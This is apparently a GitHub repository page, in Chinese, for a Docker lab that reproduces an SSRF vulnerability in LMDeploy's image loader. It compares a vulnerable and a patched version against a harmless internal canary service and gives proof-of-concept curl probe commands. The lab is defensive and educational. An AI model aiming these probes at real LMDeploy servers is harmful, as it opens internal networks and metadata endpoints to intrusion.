rootdirective-sec/CVE-2026-33626-Lab

GitHub: rootdirective-sec/CVE-2026-33626-Lab

复现 LMDeploy 视觉语言推理引擎中 CVE-2026-33626 SSRF 漏洞的本地实验环境,通过对比漏洞版本与修补版本直观验证服务端请求伪造行为。

Stars: 0 | Forks: 0

# CVE-2026-33626 — LMDeploy 视觉语言 SSRF 实验环境 ## 概述 本仓库复现了 **CVE-2026-33626**,即 LMDeploy 视觉语言图像加载路径中的一个服务端请求伪造 (SSRF) 漏洞。 该漏洞行为发生在 LMDeploy 接收图像 URL 时,服务端图像加载器会获取该 URL,而未正确阻止内部、私有、环回或链路本地地址。 本实验环境对以下内容进行了对比: | 服务 | 版本 | 用途 | | ---------- | -------------------: | ------------------------------------------------------------- | | `vuln` | LMDeploy `0.12.0` | 演示漏洞行为 | | `patched` | LMDeploy `0.12.3` | 演示已修补的行为 | | `internal` | 本地金丝雀服务 | 模拟 Docker 网络内部的纯内部资源 | 该实验环境设计为使用 Docker Compose 在本地运行,不会访问云元数据端点或外部目标。 ## 漏洞摘要 LMDeploy 支持视觉语言工作流,其中可以从用户提供的 URL 加载图像。在受影响的版本中,图像加载代码可以获取解析为内部/私有网络地址的 URL。 这可能允许有权访问 LMDeploy 端点的攻击者使服务器请求内部资源,例如: * 内部 HTTP 服务 * 元数据端点 * 缓存/数据库服务 * 私有管理面板 * 可从推理服务器网络访问的其他服务 在本实验环境中,内部目标是无害的: ``` http://internal:9000/private.png ``` 该 URL 仅存在于 Docker Compose 网络内部。 ## 实验环境设计 ``` PoC script | | sends image URL v vuln / patched service | | calls lmdeploy.vl.load_image(url) v internal canary service ``` 该实验环境并未运行完整的 VLM 推理服务器。相反,它通过调用以下命令隔离了受影响的 LMDeploy 图像加载原语: ``` from lmdeploy.vl import load_image load_image(url) ``` 这使得复现过程保持轻量化和确定性,同时仍能演示已被修补的安全行为。 ## 仓库结构 ``` . ├── docker-compose.yml ├── internal │ ├── Dockerfile │ └── server.py ├── patched │ └── Dockerfile ├── poc │ └── poc.py ├── vuln │ └── Dockerfile └── README.md ``` ## 服务 | 服务 | 主机 URL | 容器端口 | 描述 | | ---------- | ----------------------: | -------------: | ------------------------- | | `vuln` | `http://127.0.0.1:8081` | `8000` | LMDeploy `0.12.0` 包装器 | | `patched` | `http://127.0.0.1:8082` | `8000` | LMDeploy `0.12.3` 包装器 | | `internal` | `http://127.0.0.1:8090` | `9000` | 内部金丝雀服务 | 在 Docker 网络内部,内部金丝雀服务可以通过以下地址访问: ``` http://internal:9000/private.png ``` ## 环境要求 * Docker Desktop * Docker Compose v2 * 用于运行 PoC 脚本的 Python 3 在 Apple Silicon 上,`vuln` 和 `patched` 服务作为 `linux/amd64` 运行,因为本实验环境使用的 LMDeploy wheel 是面向 x86_64 架构的。 ## 运行实验环境 构建并启动服务: ``` docker compose up -d --build ``` 检查容器状态: ``` docker compose ps ``` 预期状态: ``` cve-2026-33626-internal Up cve-2026-33626-vuln Up (healthy) cve-2026-33626-patched Up (healthy) ``` ## 验证版本 ``` curl -sS http://127.0.0.1:8081/version | jq curl -sS http://127.0.0.1:8082/version | jq curl -sS http://127.0.0.1:8090/hits | jq ``` 预期输出: ``` { "lmdeploy_version": "0.12.0", "expected_role": "vulnerable" } ``` ``` { "lmdeploy_version": "0.12.3", "expected_role": "patched" } ``` ``` { "hits": [] } ``` ## 运行 PoC 创建虚拟环境并安装依赖: ``` python3 -m venv .venv source .venv/bin/activate pip install requests ``` 运行 PoC: ``` python poc/poc.py ``` 默认的 SSRF 目标是: ``` http://internal:9000/private.png ``` 该目标可以从 Docker 容器访问,而不能从公共互联网访问。 ## 预期结果 ### 受影响的服务 受影响的服务应成功获取内部金丝雀图像: ``` { "service": "vulnerable", "probe_http_status": 200, "probe_response": { "ok": true, "result": "lmdeploy.vl.load_image() fetched and decoded the URL", "lmdeploy_version": "0.12.0" }, "internal_hit_count": 1 } ``` 这证实了 LMDeploy `0.12.0` 向内部 Docker 服务发出了服务端请求。 ### 已修补的服务 已修补的服务应在访问到内部服务之前阻止相同的 URL: ``` { "service": "patched", "probe_http_status": 400, "probe_response": { "ok": false, "error_type": "ValueError", "error": "URL is blocked for security reasons: Blocked non-global IP detected", "lmdeploy_version": "0.12.3" }, "internal_hit_count": 0 } ``` 这证实了 LMDeploy `0.12.3` 会阻止解析为非全局/内部 IP 地址的 URL。 最终预期摘要: ``` [+] Expected result confirmed: vulnerable service fetched the internal canary patched service blocked before reaching the internal canary ``` ## 手动测试 重置内部金丝雀: ``` curl -sS -X POST http://127.0.0.1:8090/reset | jq ``` 测试受影响的服务: ``` curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq curl -sS http://127.0.0.1:8090/hits | jq ``` 预期:`/hits` 包含一个请求。 测试已修补的服务: ``` curl -sS -X POST http://127.0.0.1:8090/reset | jq curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq curl -sS http://127.0.0.1:8090/hits | jq ``` 预期:`/hits` 保持为空。 ## 为什么这能证明 SSRF PoC 并非像攻击者那样直接请求内部服务。 相反,PoC 将内部 URL 发送给 LMDeploy。如果 LMDeploy 从容器网络内部获取该 URL,内部金丝雀就会记录该请求。 该行为证明了 SSRF 原语: ``` attacker-controlled URL ↓ LMDeploy server-side image loader ↓ request to internal network resource ``` 已修补的版本通过拒绝解析为非全局 IP 地址的 URL 来防止这种情况发生。 ## 清理 ``` docker compose down -v ``` ## 参考 * GitHub 安全建议:GHSA-6w67-hwm5-92mq [https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq](https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq) * NVD:CVE-2026-33626 [https://nvd.nist.gov/vuln/detail/CVE-2026-33626](https://nvd.nist.gov/vuln/detail/CVE-2026-33626) * 修补提交:`71d64a339edb901e9005358e0633fbbab367d626` [https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626](https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626) * 拉取请求:#4447 [https://github.com/InternLM/lmdeploy/pull/4447](https://github.com/InternLM/lmdeploy/pull/4447) * Sysdig 分析 [https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours](https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours)
标签:AI安全, Chat Copilot, CISA项目, CTF学习, CVE-2026-33626, Docker, Docker Compose, LMDeploy, Maven, OPA, PoC, SSRF, VLM, 内网渗透, 图像加载漏洞, 安全实验室, 安全防御评估, 暴力破解, 服务端请求伪造, 漏洞分析, 漏洞复现, 漏洞验证, 版权保护, 私有网络安全, 网络安全, 视觉语言模型, 请求拦截, 路径探测, 逆向工具, 隐私保护, 靶场